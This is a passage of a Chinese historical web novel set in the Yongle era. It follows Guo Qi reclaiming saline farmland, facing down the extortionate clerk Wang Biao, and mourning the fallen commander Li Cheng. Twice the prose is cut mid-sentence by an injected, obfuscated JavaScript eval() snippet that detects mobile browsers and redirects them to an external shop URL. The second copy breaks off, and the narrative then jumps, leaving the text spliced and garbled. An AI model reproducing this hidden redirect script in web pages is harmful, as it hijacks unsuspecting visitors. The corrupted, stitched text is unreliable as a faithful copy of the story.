次日清晨,天刚蒙蒙亮,郭玘便带领族人与军户们开工了。他身先士卒,扛起锄头开挖排盐沟,汗水浸湿了衣衫,却丝毫没有停歇。赵虎带着几名年轻军卒,前往山涧修建引水渠,将淡水引入屯田区;郭老实则带领妇女们,收集秸秆,粉碎后埋入土壤;孩子们也不甘示弱,帮忙捡拾碎石、平整土地。 屯田区一片热火朝天的景象,唯有王彪站在远处的高坡上,冷眼旁观。这些年,郭玘在海州声名鹊起,不仅靠耐碱谷种让族人丰衣足食,还兴办蒙学、深得民心,早已让他嫉妒不已。如今见郭玘要改良盐碱地,他心中更是不屑:“哼,不自量力!盐碱地要是能改良,早就有人做了,还轮得到他一个毛头小子?” 王彪身旁的亲信谄媚道:“吏目大人说得是!这郭玘就是想邀功请赏,等他失败了,看他还有什么脸面在东海卫立足!” “失败?”王彪嘴角勾起一抹阴笑,“我可不会让他那么容易失败,也不会让他成功后独吞好处。这片盐碱地若是真能改良,那可是块肥肉,怎么也得分我一杯羹!” 改良盐碱地的过程异常艰难。起初,引淡洗盐时,因淡水不足,效果并不明显;秸秆还田后,部分田地出现了虫害;种植的绿肥也因土壤盐分过高,长势不佳。军户们渐渐生出懈怠之心,有人抱怨道:“郭百户,这法子根本没用,我们还是放弃吧!” 郭玘没有气馁,他仔细分析问题,调整方案:一方面,带领众人拓宽引水渠,增加淡水供应量;另一方面,收集草木灰撒在田地里,既能防虫,又能中和土壤盐分;同时,挑选耐盐性更强的绿肥品种重新种植。他日夜坚守在屯田区,与大家同吃同住,亲自指导每一个环节,累得眼睛布满血丝,却始终没有放弃。 张秉得知郭玘改良盐碱地的事后,也前来相助。他查阅古籍,找到了更多改良盐碱地的记载,与郭玘一同完善方案。蒙学的孩子们也在放学后赶来帮忙,捡拾秸秆、拔除杂草,为屯田区增添了不少生机。 功夫不负有心人。三个月后,试点的田地里,禾苗长势喜人,绿油油的一片,与周边未改良的盐碱地形成鲜明对比。族人与军户们脸上露出了久违的笑容,对郭玘愈发敬佩:“郭百户,您真是我们的救星!这田地终于有救了!” 郭玘心中也十分欣慰。他知道,这只是第一步,想要让族人百姓真正丰衣足食,还需进一步扩大改良规模。他想起父亲曾在东海岛种植果树的经验,海州卫城西侧有一片荒山,土壤虽不算肥沃,却远离海水倒灌区域,适合种植梨树。 “诸位兄弟,”郭玘召集众人道,“如今试点田地改良初见成效,我们还可在西侧荒山种植梨树。梨子成熟后,既能自家食用,又能拿到海州城集市上售卖,补贴家用。” 众人纷纷赞同。接下来的日子,郭玘又带领大家开垦荒山,种植梨树苗。他亲自挑选优质梨种,教大家如何挖坑、施肥、浇水、修剪枝条。荒山之上,又出现了一派忙碌的景象。 农闲时节,郭玘并未让族人与军户们闲着。海州盛产海盐,卫城周边有多处盐场,每逢农闲,便会招募临时工煮海为盐。郭玘带领族中青壮年前往盐场打工,煮盐虽辛苦,却能赚取不少工钱,补贴家用。 盐场的工作环境恶劣,烈日暴晒,盐雾弥漫,工人们每日要在盐田中劳作十几个时辰,手脚被盐渍浸泡得发白、开裂。郭玘与大家一同劳作,从不搞特殊,他的手脚也磨出了厚厚的茧子,却依旧咬牙坚持。有族人劝他:“百户,您是当官的,不必这么辛苦,在一旁指挥就行。” 郭玘摇摇头:“大家都是为了生活,我怎能例外?再说,只有亲身体验,才能知道大家的难处。” 在郭玘的带领下,族人们的日子渐渐好转。改良后的屯田收成逐年提高,梨树也开始结果,盐场打工的收入也补充了家用。家族仓库里的粮食渐渐堆满,族人们脸上的笑容也多了起来,再也不用为温饱发愁。周边军户们见郭家日子过得红火,纷纷向郭玘请教改良盐碱地的方法,郭玘毫无保留,一一传授,让更多人受益。 消息传到东海卫所,李大人对郭玘大加赞赏:“郭百户,你继承父志,改良盐碱地,带领百姓种植果树、煮海为盐,真是功德无量!” 郭玘躬身道谢:“多谢李大人夸奖,这都是属下分内之事。” 此时,京城传来的消息却让人心生凝重——永乐帝迁都北京后,大兴土木兴建宫殿,耗费了大量人力物力,百姓怨声载道。更令人震惊的是,新建的太和殿竟两次遭受雷电轰击,燃起大火。永乐帝本就生性多疑,此事让他愈发猜忌,认为是上天示警,暗中加强了对百官与民间的监视,尤其是对洪武旧勋的动向,更是密切关注。 武定侯府带来消息,近来永乐帝心情不佳,有关家族申诉之事暂且搁置。郭玘得知此信息后,心中一沉。他知道,京城事态微妙,此时若贸然显露锋芒,极易引来祸患。他叮嘱族人:“近日京城局势微妙,大家行事务必低调,不可张扬,种田、做工皆需安分守己,切勿与人争执,以免被人抓住把柄。” 永乐二十二年春,海州的海风依旧带着咸涩,东海卫卫城外围的屯田区却已是一片丰收景象。改良后的盐碱地长满了金黄的粟米,沉甸甸的稻穗压弯了稻秆;西侧的荒山之上,梨树挂满了饱满的果实,散发着诱人的香气;盐场的工人们也带着辛苦赚来的工钱,脸上满是喜悦。郭玘带领族人将粮食收割、晾晒、入库,将梨子采摘下来,一部分留作自用,一部分运往海州城集市售卖,换回了不少布匹、药材等生活用品。 家族的富足,让郭玘心中稍安。他知道,只有族人生活安稳,才有足够的力量应对未来的挑战,为家族洗刷冤屈。他将大部分粮食储备起来,一方面为应对灾年做准备,另一方面也为日后赴京告御状积攒盘缠。同时,他愈发低调行事,每日除了处理屯田事务、训练军卒,便是闭门读书,研习兵法与律法,从不参与卫所内部的派系争斗。 然而,树欲静而风不止。王彪早已对郭家的田地垂涎三尺,如今见郭家收成颇丰,加之京城传来永乐帝猜忌加重的消息,他认为有机可乘,决定动手强占。这一日,他带领几名亲信,气势汹汹地来到郭家的屯田区,身后还跟着一队东海卫的士兵。 “郭玘何在?”王彪站在田埂上,大声喝道,三角眼扫过正在收割庄稼的族人,满是嚣张。 郭玘正在指挥族人晾晒粮食,听闻王彪的声音,心中一凛,快步走上前:“王吏目,不知今日前来,有何贵干?” “郭玘,你好大的胆子!”王彪指着眼前的田地,厉声喝道,“这些田地本是东海卫公产,你竟敢私自霸占,改为家族私田,还敢隐瞒不报,按军法论处!” 郭玘心中一怒,这分明是欲加之罪!这些田地,一部分是家族世代耕种的祖田,一部分是早年父亲带领族人开垦的荒地,早已在东海卫户籍房登记在册,并非私自霸占。他沉声道:“王吏目,饭可以乱吃,话不能乱讲!这些田地均有户籍登记,乃是我郭家合法耕种的土地,何来私自霸占之说?” “登记在册?”王彪冷笑一声,从怀中取出一份文书,“这是卫所最新的土地核查记录,上面根本没有这些田地的登记信息!你分明是欺上瞒下,私自侵占公产!” 郭玘接过文书一看,心中了然。这份土地核查记录明显是王彪伪造的,上面的签名和印章都是假的。他强压下心中的怒火,想起父亲“隐忍蛰伏”的教诲,以及京城如今的局势,沉声道:“王吏目,这份记录是伪造的,户籍房有原始档案可查!再者,这些田地中,半数以上是盐碱地,是我郭家耗费三年人力物力改良而成,另有部分是开垦的荒山,并非卫所原有公产。” “伪造?盐碱地?”王彪脸色一沉,“郭玘,你竟敢质疑本吏目!我告诉你,在这东海卫,我说的话就是规矩,这份记录就是凭证!你身为军户百户,理应优先为卫所效力,如今却将公产据为己有,大肆牟利,实在可恶!限你三日内,将这些田地全部交出,否则,别怪我对你不客气!” 族人们闻言,纷纷围了上来,愤怒地喊道:“这是我们的田地,凭什么交给你!”“王彪,你太过分了,想强抢我们的劳动成果!” “放肆!”王彪大喝一声,身后的士兵立刻拔出武器,“谁敢阻拦,就是违抗军令,以谋逆论处!” 族人们吓得后退一步,眼中满是畏惧。王彪见状,更加嚣张:“郭玘,识相的就乖乖交出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914091|192489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 田地,否则,不仅你要受罚,你的族人也难逃干系!如今京城局势微妙,陛下猜忌心重,你若被安上‘侵占公产’的罪名,怕是没人能保得住你!” 郭玘挡在族人身前,眼神冰冷地看着王彪,他知道,此时不能退缩,否则不仅田地会被强占,族人也会遭受欺凌。他朗声道:“王吏目,你身为东海卫吏目,应知《军户屯田律》,何必在这里混淆视听!” 他顿了顿,一字一句道:“大明《军户屯田律》明确规定:军户开垦荒地,耕种满五年,田地便归军户永久耕种,卫所不得无故收回;军户改良盐碱地、荒山者,朝廷予以嘉奖,减免部分赋税,任何人不得强占。这些田地,我郭家已耕种多年,盐碱地改良更是耗费巨大,完全符合律法规定,你凭什么强占?” 王彪心中一慌,他没想到郭玘竟然对《军户屯田律》如此熟悉。他强装镇定:“《军户屯田律》又如何?如今京城局势特殊,陛下心思难测,你一个小小的百户,就算占着法理,又能如何?我只需上报你‘借改良之名,行侵占之实’,再添上几句‘与洪武旧勋有牵连’的言语,你觉得左千户大人还会护着你吗?” 郭玘心中一凛,王彪这话戳中了他的软肋。如今永乐帝因宫殿遭雷击而猜忌加重,若被安上与洪武旧勋牵连的罪名,后果不堪设想。但他表面依旧镇定:“王吏目,你若执意颠倒黑白,我只能随你前往卫所,当着李大人的面对质!我相信李大人会秉公处理,不会因你的一面之词便定我的罪。更何况,这些田地不仅我郭家耕种,周边还有数十户军户受益,你若强占,便是与这数十户军户为敌,此事闹大,对谁都没有好处!” 王彪脸色变幻不定,他没想到郭玘竟然如此强硬,还搬出了周边军户。他知道,若真闹到卫所,李大人一向器重郭玘,且此事牵涉众多军户,未必会偏向他;更何况,他伪造文书之事若被揭穿,自己也难辞其咎。 “好你个郭玘,算你厉害!”王彪咬牙切齿道,“今日之事,我记下了!你给我等着,总有一天,我会让你付出代价!” 说罢,他狠狠瞪了郭玘一眼,带着亲信和士兵悻悻离去。 族人们见状,纷纷围上来,后怕道:“百户,刚才真是吓死我们了!王彪太嚣张了,竟然想强占我们的田地!” “是啊,百户,若不是你懂律法,又据理力争,我们的田地恐怕真要被他抢走了!” 郭玘摆摆手,沉声道:“大家不必担心,有《军户屯田律》在,他不敢太过放肆。只是,王彪心胸狭隘,此次未能得逞,日后定会寻机报复,大家日后行事务必更加谨慎,切勿给人留下把柄。” 他心中清楚,王彪此次虽未得逞,但隐患仍在。如今京城局势微妙,永乐帝猜忌加重,他身为隐姓埋名的洪武旧勋之后,只能更加隐忍,低调行事,同时加快积累实力,为家族平反做好准备。 接下来的日子,郭玘继续带领族人与军户们改良盐碱地、种植果树、煮海为盐。屯田区的田地面积不断扩大,收成也越来越高;西侧的荒山变成了花果山,梨子、桃子等水果挂满枝头;盐场的收入也逐年增加,家族的财富越来越丰厚。 郭玘将一部分财富用于改善族人与军户的生活,修缮房屋、兴办蒙学、购置药材;另一部分则秘密储备起来,作为日后赴京告御状的盘缠与活动经费。他还利用积累的财富,暗中联络祖父的旧部,收集更多家族蒙冤的证据,同时密切关注京城局势。 张秉看着郭家日益兴旺,心中满是欣慰,却也提醒道:“郭百户,如今家族富足,民心所向,是好事,但也更易引人嫉妒。王彪虽此次退缩,却绝不会善罢甘休。更重要的是,京城传来消息,永乐帝因宫殿遭雷击之事,对百官猜忌更重,锦衣卫的眼线遍布各地,我们行事需更加谨慎,切勿暴露身份,以免引来杀身之祸。” 郭玘点点头,眼中闪过一丝坚定:“张先生说得对。我已让赵虎暗中打探赴京的路线与朝中官员的情况,同时完善平反卷宗。如今我们唯有隐忍蛰伏,积累足够的实力与证据,等待合适的时机,才能赴京告御状,为家族洗刷冤屈。” 他顿了顿,继续道:“至于王彪,我们只需不理会他的挑衅,安分守己做好自己的事。他若敢再寻衅滋事,我们便以律法为盾,据理力争,同时联合周边军户,让他无机可乘。” 这一日,郭玘来到父亲的墓前,将近期的情况一一诉说。他取出胸前的“勇”字玉佩,轻轻放在墓碑前:“爹,儿子没有辜负您的期望,族人的日子越过越好,盐碱地改良也颇有成效。只是京城局势依旧微妙,王彪也时常寻衅,儿子深知前路艰难,但定会坚守‘忠勇’家训,隐忍蛰伏,为家族洗刷冤屈的那一天做好准备。” 夕阳西下,金色的余晖洒在墓碑上,仿佛是父亲的回应。郭玘站起身,望着远方的天空,心中充满了坚定。他知道,未来的路充满了未知与挑战,但他不再畏惧。家族的富足与民心的支持,是他最坚实的后盾;祖父的旧部与武定侯府的相助,是他最有力的臂膀;胸前的“勇”字玉佩与心中的“忠勇”家训,是他最坚定的信念。 永乐二十二年夏,海州的海风依旧吹拂着屯田区的稻田,郭玘带领族人在田地里忙碌着。远处的东海岛在海雾中若隐若现,西侧的荒山硕果累累,盐场的炊烟袅袅升起。郭玘看着眼前的景象,心中明白,这平静而富足的生活,是族人用血汗换来的,也是他隐忍蛰伏的根基。他会继续守护这份安宁,积累实力,等待着京城局势变化,等待着为家族平反的最佳时机。而王彪的威胁,京城的猜忌,都将成为他成长路上的磨砺,让他更加坚定地走向未来。 22. 第三卷 拓片传灯 第22章 李诚殉边 永乐二十二年秋,海州的海风带着萧瑟的凉意,漫过东海卫卫城的青石板路。郭玘身着百户常服,正在屯田区查看晚稻的长势,身后的赵虎快步赶来,神色凝重:“百户,卫所传来急报,宣府卫那边……出事了。” 郭玘心中一紧,放下手中的锄头:“何事如此紧急?” “宣府卫送来的军报说,上月瓦剌骑兵突袭边墙,李诚千户率部阻击,力战殉国了。”赵虎的声音带着一丝哽咽。 “什么?”郭玘浑身一震,手中的锄头“哐当”一声掉在地上。李诚——那个父亲生前最信任的挚友,那个在宣府戍边时为他送来祖父旧部名册、暗中照拂他的长辈,竟然就这样战死沙场了? 他不敢置信地追问:“消息属实?李千户……他怎么会……” “军报是宣府卫指挥使司直接发来的,应该不会有错。”赵虎低着头,声音愈发沉重,“听说那日瓦剌三万骑兵倾巢而出,冲破了独石口隘口,李千户带着三百亲兵死守最后一道防线。他身先士卒,手持祖父遗留的那柄镔铁长刀,连斩七名瓦剌百户,刀刃都砍得卷了口。后来箭矢用尽,他便率亲兵与敌兵近身肉搏,为了掩护隘口后三千多边民撤退,硬是拖着受创的身躯,在城楼上竖起‘郭’字军旗。敌军蜂拥而上时,他还在高喊‘忠勇报国’,最后被数支长矛刺穿胸膛,依旧死死倚着旗杆不倒。亲兵们拼死抢回他的遗骸时,他的手指还紧紧攥着半截军旗,遗体都没能完整带回。” 郭玘只觉得脑中一片空白,过往的记忆如潮水般涌来。宣府戍边时,李诚在营门外与他相见的场景,那份跨越千里的牵挂;送来旧部名册时的叮嘱,“这些人都记得将军恩,也会护着你”;还有那些通过暗线传递的消息,始终为他与武定侯府牵线搭桥……李诚于他而言,早已不是简单的父辈友人,而是家族冤屈路上的引路者,是暗中守护他的靠山。 “百户,您还好吗?”赵虎见他脸色苍白,身形晃了晃,连忙扶住他。 郭玘深吸一口气,压下心中翻涌的悲痛,沉声道:“备马,随我去卫所。” 东海卫所内,李大人正对着一份军报唉声叹气。见到郭玘进来,他叹了口气:“郭百户,你已经知道了吧?李诚千户是条好汉,可惜了。” 郭玘躬身行礼,声音沙哑得几乎不成调:“李大人,军报上可有详述李千户殉国的经过?他的遗物……可有送来?” “军报上说,李千户殉国后,他的亲兵拼死抢回了部分遗物,已由宣府卫转递京城,交由武定侯府处置。”李大人道,“不过,宣府卫的信使还带来了一件东西,说是李千户生前特意交代,若他遭遇不测,便转交给你。” 说着,李大人从案几上取出一个小小的木盒,递给郭玘:“这是信使带来的,你收好。” 郭玘颤抖着双手接过木盒,盒子入手沉重,表面刻着简单的缠枝莲纹,是军中常见的样式。他小心翼翼地打开木盒,里面铺着一层暗红色的绒布,上面放着一枚磨损严重的虎符碎片、半块染血的衣襟,还有一个折叠整齐的绢帛小包。 虎符碎片是李诚当年在辽东戍边时所得,他曾在密信中提及,说是能证明身份的信物;染血的衣襟上还残留着发黑的暗红血迹,那血迹凝成的纹路,依稀能看出兵刃刺穿的破洞,想必是他殉国时所穿。郭玘抚摸着这些遗物,指尖传来的粗糙触感仿佛还带着边关的风沙与硝烟,还带着李诚最后一刻的滚烫体温,泪水终究忍不住滑落,砸在绒布上晕开一小片深色的印记。 他拿起那个绢帛小包,入手轻薄,似乎包裹着纸张一类的东西。解开绳结,展开绢帛,里面竟是一张泛黄的麻纸,上面用苍劲的笔迹写着一行字,墨迹虽有些褪色,却依旧清晰可辨:“助景扬吾儿,忠勇报国,护族延嗣。” “景扬……”郭玘喃喃念着这两个字,心中猛地一震。景扬是父亲的字,除了族中长辈与武定侯府的人,极少有人知晓。而这字迹……他仔细端详,笔锋遒劲,带着一股凛然正气,竟与祖父郭兴的书法极为相似——当年父亲曾给他看过祖父的手书拓本,那笔势他绝不会认错。 难道这是祖父写给父亲的手书? 郭玘心中掀起惊涛骇浪。李诚为何会藏着这样一封手书?父亲生前从未提及此事,李诚也从未透露过。他反复抚摸着麻纸,纸面粗糙,边缘有些破损,显然已经珍藏了许多年。 “助景扬吾儿,忠勇报国,护族延嗣。”短短几个字,却重逾千斤。祖父写下这封信时,想必早已料到家族可能遭遇的变故,特意嘱托李诚,日后要好好照料父亲与自己。而李诚,果然不负所托,这些年始终在暗中守护着他们,从辽东到宣府,从粮种药材到旧部名册,从未有过一丝懈怠,直至战死沙场,还不忘将这封手书转交给他。 “李伯……”郭玘的声音哽咽,泪水滴落在麻纸上,晕开淡淡的墨迹。他终于明白,李诚对郭家的情谊,早已超越了普通的上下级与友人,那是对祖父的忠诚,是对父辈的承诺,是跨越数十年的守护。 李大人看着他悲痛的模样,劝慰道:“郭百户,人死不能复生,李千户是为国捐躯,是朝廷的功臣,你也不必太过伤心。日后好好报效朝廷,便是对他最好的告慰。” 郭玘躬身道谢:“多谢大人劝慰,属下明白。” 离开卫所,郭玘没有回屯田区,也没有回家,而是带着赵虎直奔东海岛方向。小船在海面上颠簸,海风裹挟着咸涩的气息,吹得他衣衫猎猎作响。他将木盒紧紧抱在怀中,仿佛这样就能感受到李诚留下的温度。 登上东海岛,郭玘径直来到当年驻守的烽燧。夕阳西下,烽燧的影子拉得很长,墙壁上“忠勇”纹路与“此处有郭氏子”的刻痕在余晖中若隐若现。他坐在烽燧顶端,将木盒放在膝上,再次展开那封手书。 “助景扬吾儿,忠勇报国,护族延嗣”一行字,如祖父的叮咛,如李诚的誓言,在他心中回荡。他想起父亲临终前的嘱托,想起李诚在宣府时的教诲,想起李诚说“将军的忠勇,要由我们守下去”时的坚定眼神,想起这些年一路走来的艰难与不易,心中的悲痛愈发浓烈,却也生出一股坚定的力量。 赵虎站在一旁,默默守护着他,不敢打扰。他知道,李诚的死对郭玘打击极大,也明白这份情谊的重量。 郭玘将那张麻纸与怀中的玉佩拓本放在一起。拓本上“忠勇”二字合璧的纹路,与祖父的手书相互映衬,仿佛跨越时空的呼应。他心中忽然有了一个念头,将这封手书与拓本缝为一体,让它们永远相伴,如同李诚的守护从未离开。 回到家中,郭玘将自己关在书房。他取出针线,小心翼翼地将麻纸与拓本的边缘缝合在一起,动作轻柔而郑重。每一针,都仿佛缝进了祖父的期盼;每一线,都承载着李诚的忠诚。缝合完毕,他将这叠承载着家族传承与守护的信物贴身藏好,紧贴着胸前的“勇”字玉佩,感受着那份沉甸甸的重量。 夜色渐深,海州城的灯火渐渐稀疏。郭玘坐在书房中,桌上摆着李诚的遗物,虎符碎片与染血的衣襟无声地诉说着边关的惨烈。他没有点灯,任由黑暗笼罩着自己,心中翻涌着悲痛与感慨。 李诚的殉国,不仅让他失去了一位重要的庇护者,更让他深刻体会到战争的残酷与忠诚的可贵。在这乱世之中,有人为了权势尔虞我诈,有人为了自保苟且偷生,而李诚却用生命践行了对祖父的承诺,用热血诠释了“忠勇”二字的真谛。他仿佛能看见,边关的残阳下,李诚拄着长刀屹立在城楼上,身后是逃难的边民,身前是如狼似虎的敌军,那道身影,如同一座永不倾倒的丰碑。 “李伯,您放心地去吧。”郭玘对着遗物轻声道,声音带着压抑的哽咽,“您交代的事,我定会做到。家族的冤屈,我一定会洗刷;玘儿定不辜负您的期望,守护好族人与家园。” 他想起李诚在宣府时说的话:“你祖父郭兴将军,为人正直,爱兵如子,当年跟着他的旧部,无不对他感恩戴德。”如今,李诚用自己的生命,印证了这份感恩与忠诚。而他,作为郭兴的孙子,更不能辜负这份沉甸甸的信任。 次日清晨,郭玘将李诚的遗物妥善收好,只留下那枚虎符碎片随身携带,作为纪念。他来到族中院落,召集族中长辈,告知了李诚殉国的消息。族人们闻言,无不悲痛万分。当年若不是李诚送来的耐碱谷种,他们或许早已饿死;若不是李诚暗中照拂,郭家在东海卫也难以立足。 “李千户是我们郭家的大恩人啊!”郭福伯老泪纵横,拄着拐杖的手不住颤抖,“当年我儿染了疫症,是李千户派人星夜送来药材,才捡回一条命。没想到竟然就这样走了,我们一定要为他立个牌位,日日祭拜,让他的英灵能看着我们郭家重兴!” “是啊,李千户的大恩大德,我们永世不忘!”族人们纷纷附和,不少人红了眼眶,想起李诚过往的种种照拂,泣不成声。 郭玘点点头,眼中满是坚定:“李伯对我们郭家的恩情,我们没齿难忘。立牌位祭拜是应该的,更重要的是,我们要继承他的遗志,坚守‘忠勇’家训,早日为家族洗刷冤屈,不辜负他的守护与付出。” 他当即下令,在族中祠堂为李诚设立牌位,每日香火供奉。同时,他让人将李诚殉国的事迹告知周边军户,军户们闻言也无不悲痛,纷纷前来祭拜。李诚在军中威望甚高,许多军户都曾受过他的恩惠,如今得知他殉国的消息,无不扼腕叹息,不少老兵跪在牌位前,哭着喊“李将军走好”。 处理完李诚的后事,郭玘将悲痛深埋心底,更加投入地打理屯田与海防事务。他知道,唯有让族人与军户们过上更好的日子,积累足够的实力,才能早日完成李诚与父亲的遗愿。 他继续带领大家改良盐碱地,扩大种植面积,同时在东海岛周边开垦新的耕地,种植耐碱作物与果树。农闲时,依旧带领族中青壮年前往盐场打工,积累财富。此外,他还加强了军卒的训练,每日带领他们演练阵法、练习武艺,以防瓦剌骑兵与海盗的侵扰。训练场上,他亲自示范刀法,一招一式都带着李诚教他的章法,口中高喊“忠勇报国”,声音响彻云霄,听得军卒们热血沸腾。 日子一天天过去,东海卫的屯田收成越来越高,家族的财富也日益丰厚。郭玘将一部分财富用于修缮海防设施,购置军械,提升东海卫的防御能力;另一部分则继续秘密储备,作为赴京告御状的盘缠与活动经费。他还通过祖父旧部的暗线,将李诚殉国的详细事迹告知了京城的郭铭。 不久后,郭铭通过暗线传来密信。信中写道:“李诚殉国,我已得知,悲痛万分。他是郭家的忠臣,也是我的挚友,我已向朝廷为他请功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“郭玘,你好大的胆子!”王彪站在田埂上,大声喝道,“李诚已亡,你没了靠山,还敢霸占这么多田地?识相的,赶紧交出一半田地给卫所,否则,别怪我对你不客气!” 郭玘心中一怒,王彪竟然趁人之危,在李诚刚殉国不久便来寻衅。他沉声道:“王吏目,这些田地是族人与军户们辛辛苦苦改良耕种的,凭什么交给你?《军户屯田律》的规定,我上次已经说过,你莫非忘了?” “《军户屯田律》?”王彪冷笑一声,“如今李诚已死,没人再护着你了!在这东海卫,我说的话就是规矩!你一个小小的百户,也敢跟我叫板?” 他身后的亲信也纷纷附和:“郭玘,识相的就乖乖交出田地,否则,我们就把你‘侵占公产’的罪名上报京城,让你吃不了兜着走!” 郭玘眼神冰冷地看着王彪,胸中涌起李诚“忠勇”二字的教诲,声音掷地有声:“王吏目,你以为李伯不在了,你就能为所欲为?我告诉你,就算没有李伯,还有律法在,还有族人与军户们在!你若敢强占田地,我定会联名军户,向卫所左千户大人乃至朝廷上书,揭发你的恶行!” 族人们与周边军户们纷纷围了上来,怒视着王彪等人,手中握着镰刀与锄头,气势汹汹:“我们支持郭百户!王彪,你休想强占我们的田地!”“你要是敢胡来,我们就跟你拼了!”“李将军刚走,你就来欺负我们,良心被狗吃了!” 王彪看着群情激愤的众人,心中有些发怵。他没想到郭玘竟然有如此高的威望,即便没有李诚的庇护,依旧能得到这么多人的支持。他知道,若真的闹大,自己讨不到好处,只能悻悻道:“郭玘,你给我等着!这事没完!” 说罢,便带着亲信灰溜溜地离去了。 族人们纷纷围上来:“百户,王彪太过分了,竟然趁人之危!” 郭玘摆摆手,目光扫过众人坚定的脸庞,心中暖意涌动:“大家不必担心,王彪只是虚张声势。只要我们团结一心,坚守律法,他就不敢太过放肆。”他心中清楚,王彪绝不会善罢甘休,未来的挑衅只会更多,但他早已不是当年那个需要庇护的少年,如今的他,有足够的勇气与实力守护自己的族人,更有李诚用生命铸就的“忠勇”二字,指引着他前行的方向。 接下来的日子,郭玘更加谨慎行事,一方面加强屯田与海防事务,积累实力;另一方面,密切关注京城的局势,等待赴京告御状的时机。张秉也在一旁协助他,完善平反卷宗,联络京城的老友,为日后赴京铺路。 深秋的海风愈发凛冽,郭玘来到族中祠堂,站在李诚的牌位前,取出贴身藏着的拓本与手书,轻轻展开。烛光摇曳,映照着“助景扬吾儿,忠勇报国,护族延嗣”一行字迹,也映照着拓本上“忠勇”二字的纹路,更映照着牌位前袅袅升起的青烟。 “李伯,我们快熬出头了。”郭玘对着牌位与信物轻声道,声音带着哽咽,却满是坚定,“京城虽局势微妙,但我们的实力日渐雄厚,证据也已齐备。若吾祖有灵,定会保佑我们沉冤得雪,让郭家的‘忠勇’精神重现荣光。您的守护与付出,我们永远不会忘记,待家族平反之日,我定会带着捷报,到您的墓前告慰您的在天之灵。” 烛光下,他的眼神愈发坚定。李诚的牺牲,郭铭叔的嘱托,祖父与父亲的期盼,都化作了他前行的力量。他知道,未来的路依旧充满未知与挑战,但只要坚守“忠勇”家训,隐忍蛰伏,就一定能等到为家族洗刷冤屈的那一天。 这一日,东海卫的海风格外清冽,阳光洒在屯田区的金色稻穗上,泛着耀眼的光芒。郭玘站在田埂上,望着远方的京城方向,心中充满了期盼与坚定。他将拓本与手书重新贴身藏好,握紧了胸前的虎符碎片,转身投入到繁忙的事务中。他知道,唯有做好万全准备,才能在时机到来时,一举完成家族的夙愿,告慰所有守护着郭家的英灵。 23. 第三卷 拓片传灯 第23章 郭铭病逝 永乐二十二年冬,京城的寒风裹挟着雪粒,刮过武定侯府的朱红大门。府内一片肃杀,灯笼上的红绸被寒风猎猎吹动,却难掩弥漫在庭院中的悲戚。郭玹身着素色长衫,快步穿过回廊,直奔父亲郭铭的卧房,心中满是焦灼。 自上月父亲病倒后,病情便一日重过一日。起初只是偶感风寒,谁知竟缠绵病榻,日渐消瘦,如今已连起身的力气都没有了。作为武定侯府的嫡孙,郭玹深知父亲的病不仅是身体的衰败,更是这些年为家族事务殚精竭虑的结果——一面要应对永乐帝的猜忌,在锦衣卫的监视下步步为营;一面要暗中为巩昌侯府平反奔走,联络旧部、收集证据;还要照拂远在海州的郭玘一族,维系着两族之间脆弱的联系。 “父亲,儿子来看您了。”郭玹走进卧房,一股浓重的药味扑面而来。郭铭躺在床上,面色蜡黄,呼吸微弱,原本刚毅的脸庞此刻布满了皱纹,早已没了往日在朝堂上的威严。 郭铭缓缓睁开眼,看到郭玹,眼中闪过一丝微弱的光芒,他费力地抬了抬手:“瑄儿……过来。” 郭玹快步走到床边,握住父亲枯瘦冰凉的手,声音哽咽:“父亲,您感觉怎么样?太医刚来看过,说您只需安心休养,定会好转的。” 郭铭轻轻摇了摇头,嘴角勾起一抹苦涩的笑容:“为父的身体,为父自己清楚……怕是……撑不了多久了。” “父亲,您别这么说!”郭玹连忙打断他,“您还要亲眼看着巩昌侯府平反,看着郭玘兄弟赴京,看着郭家两族重聚荣光呢!” 提到“巩昌侯府”与“郭玘”,郭铭的眼神亮了些许,他喘了口气,缓缓道:“瑄儿,为父这辈子……最大的心愿,便是完成兄长郭兴的遗愿,为巩昌侯府洗刷冤屈。当年胡惟庸案,巩昌侯府蒙冤,景扬弟(郭斌)带着族人逃亡,隐姓埋名,受尽了苦楚。为父虽身在京城,却无能为力,只能暗中照拂,这心中的愧疚,从未消减。” 他顿了顿,呼吸愈发急促:“幸好……有你。上次你赴海州采办,见到了郭玘,将‘忠’字玉佩带回府中妥善保管,做得很好。那玉佩是巩昌侯府的传家宝,是两族联结的信物,绝不能有失。” 郭玹点点头,眼中闪过一丝坚定:“父亲放心,玉佩已藏在府中密室,由专人看守,绝无差池。儿子已按您的吩咐,通过暗线告知郭玘兄弟,让他安心在海州蛰伏,等待时机。” “好……好……”郭铭欣慰地点点头,“郭玘这孩子,是块好料。年纪轻轻便有如此沉稳的心智,在海州屯田求生、积累民心,又能坚守‘忠勇’家训,没有辜负景扬弟的教诲,更没有辜负兴公的期望。” 他回忆起当年通过李诚传递消息时的忐忑,想起郭玘在宣府戍边时的坚韧,想起那封从海州传来的、记录着耐碱谷种改良与屯田成效的密信,心中满是感慨:“兴公当年曾说,‘忠勇’二字,是郭家立身之本。如今,这两个字在郭玘身上得到了传承,为父甚是欣慰。” 窗外的风雪愈发猛烈,卧房内的炉火跳动着微弱的光芒。郭铭沉默了片刻,似乎在积蓄力气,他紧紧握住郭玹的手,语气变得格外郑重:“瑄儿,为父有一事,要郑重托付给你。” “父亲请讲,儿子定当铭记在心,全力以赴!”郭玹挺直身形,眼中满是坚定。他知道,父亲接下来的话,必将是关乎两族命运的嘱托。 郭铭深吸一口气,一字一句道:“左半块‘忠’字玉佩,如今存于武定侯府密室,你要妥善保管,绝不能让外人知晓。这玉佩不仅是巩昌侯府的身份凭证,更是两族联结的象征,是兴公遗愿的寄托。” 